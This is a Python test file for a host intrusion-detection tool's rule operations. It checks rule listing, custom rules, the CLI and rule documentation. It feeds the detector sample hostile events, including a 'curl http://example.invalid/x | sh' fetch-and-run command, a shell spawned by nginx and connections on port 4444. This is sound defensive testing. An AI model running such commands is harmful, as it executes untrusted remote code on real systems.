enodia-sentinal/tests/test_ruleops.py

# SPDX-License-Identifier: GPL-3.0-or-later
import io
import json
import os
import tempfile
import unittest
from contextlib import redirect_stdout
from pathlib import Path

from enodia_sentinel import ruleops
from enodia_sentinel.cli import main
from enodia_sentinel.config import Config


class TestRuleOps(unittest.TestCase):
    def test_lists_builtin_exec_and_syscall_rules(self):
        rules = ruleops.list_rules(Config())
        sids = {r["sid"] for r in rules}
        self.assertIn(100001, sids)
        self.assertIn(100060, sids)
        self.assertIn(100067, sids)
        self.assertIn(100068, sids)
        exec_rule = next(r for r in rules if r["sid"] == 100002)
        self.assertEqual(exec_rule["event"], "exec")
        self.assertIn("argv_regex", exec_rule["conditions"])
        host_rule = next(r for r in rules if r["sid"] == 100067)
        self.assertEqual(host_rule["event"], "tcp_connect")
        self.assertIn("peer_port_exclude", host_rule["conditions"])
        listener_rule = next(r for r in rules if r["sid"] == 100068)
        self.assertEqual(listener_rule["event"], "listen")
        self.assertIn("local_port_exclude", listener_rule["conditions"])

    def test_configured_exec_rule_is_listed(self):
        with tempfile.TemporaryDirectory() as d:
            path = Path(d) / "rules.toml"
            path.write_text("""
[[exec_rules]]
sid = 199999
msg = "test custom rule"
severity = "HIGH"
classtype = "custom-test"
exec_comm = ["id"]
""")
            cfg = Config()
            cfg.exec_rules_file = str(path)
            rule = ruleops.find_rule(cfg, 199999)
            self.assertIsNotNone(rule)
            self.assertEqual(rule["origin"], "configured")
            self.assertEqual(rule["conditions"]["exec_comm"], ["id"])

    def test_matches_exec_event_json(self):
        cfg = Config()
        event = {
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "parent_comm": "bash",
            "filename": "/bin/sh",
            "argv": ["-c", "curl http://example.invalid/x | sh"],
        }
        alerts = ruleops.test_event(cfg, event)
        self.assertIn(100004, {a.sid for a in alerts})

    def test_matches_syscall_event_json(self):
        cfg = Config()
        event = {
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "comm": "payload",
            "syscall": "mprotect",
            "args": [0, 4096, "0x6", 0, 0, 0],
        }
        alerts = ruleops.test_event(cfg, event)
        self.assertIn(100060, {a.sid for a in alerts})

    def test_matches_host_event_json(self):
        cfg = Config()
        event = {
            "event": "tcp_connect",
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "comm": "python3",
            "peer_ip": "8.8.8.8",
            "peer_port": 4444,
        }
        alerts = ruleops.test_event(cfg, event)
        self.assertIn(100067, {a.sid for a in alerts})

    def test_host_event_common_public_port_no_match(self):
        cfg = Config()
        event = {
            "event": "tcp_connect",
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "comm": "python3",
            "peer_ip": "8.8.8.8",
            "peer_port": 443,
        }
        self.assertEqual(ruleops.test_event(cfg, event), [])

    def test_matches_host_listen_event_json(self):
        cfg = Config()
        event = {
            "event": "listen",
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "comm": "python3",
            "local_ip": "0.0.0.0",
            "local_port": 4444,
        }
        alerts = ruleops.test_event(cfg, event)
        self.assertIn(100068, {a.sid for a in alerts})

    def test_host_listen_common_port_no_match(self):
        cfg = Config()
        event = {
            "event": "listen",
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "comm": "python3",
            "local_ip": "0.0.0.0",
            "local_port": 443,
        }
        self.assertEqual(ruleops.test_event(cfg, event), [])

    def test_render_markdown_documents_rules(self):
        text = ruleops.render_markdown(Config())
        self.assertIn("# Enodia Sentinel Event Rule Reference", text)
        self.assertIn("## SID 100002:", text)
        self.assertIn("Expected false positives:", text)
        self.assertIn("Drill or fixture:", text)
        self.assertIn("`argv_regex`", text)


class TestRulesCli(unittest.TestCase):
    def setUp(self):
        self.dir = tempfile.TemporaryDirectory()
        os.environ["ENODIA_LOG_DIR"] = self.dir.name
        self.tmp = Path(self.dir.name)

    def tearDown(self):
        os.environ.pop("ENODIA_LOG_DIR", None)
        self.dir.cleanup()

    def _run(self, *args):
        buf = io.StringIO()
        with redirect_stdout(buf):
            code = main(["rules", *args])
        return code, buf.getvalue()

    def test_list_json(self):
        code, out = self._run("list", "--json")
        self.assertEqual(code, 0)
        rules = json.loads(out)
        self.assertIn(100001, {r["sid"] for r in rules})

    def test_show_text(self):
        code, out = self._run("show", "100060")
        self.assertEqual(code, 0)
        self.assertIn("Rule 100060", out)
        self.assertIn("syscall", out)

    def test_test_event_file(self):
        event = self.tmp / "event.json"
        event.write_text(json.dumps({
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "parent_comm": "nginx",
            "filename": "/bin/sh",
            "argv": ["-c", "id"],
        }))
        code, out = self._run("test", str(event))
        self.assertEqual(code, 0)
        self.assertIn("sid=100003", out)

    def test_test_no_match_is_exit_one(self):
        event = self.tmp / "event.json"
        event.write_text(json.dumps({
            "pid": 42,
            "ppid": 1,
            "uid": 1000,
            "parent_comm": "bash",
            "filename": "/usr/bin/true",
            "argv": [],
        }))
        code, out = self._run("test", str(event))
        self.assertEqual(code, 1)
        self.assertIn("No rules matched", out)

    def test_docs_text(self):
        code, out = self._run("docs")
        self.assertEqual(code, 0)
        self.assertIn("Enodia Sentinel Event Rule Reference", out)
        self.assertIn("SID 100060", out)
        self.assertIn("SID 100067", out)
        self.assertIn("SID 100068", out)
        self.assertIn("Expected false positives", out)


if __name__ == "__main__":
    unittest.main()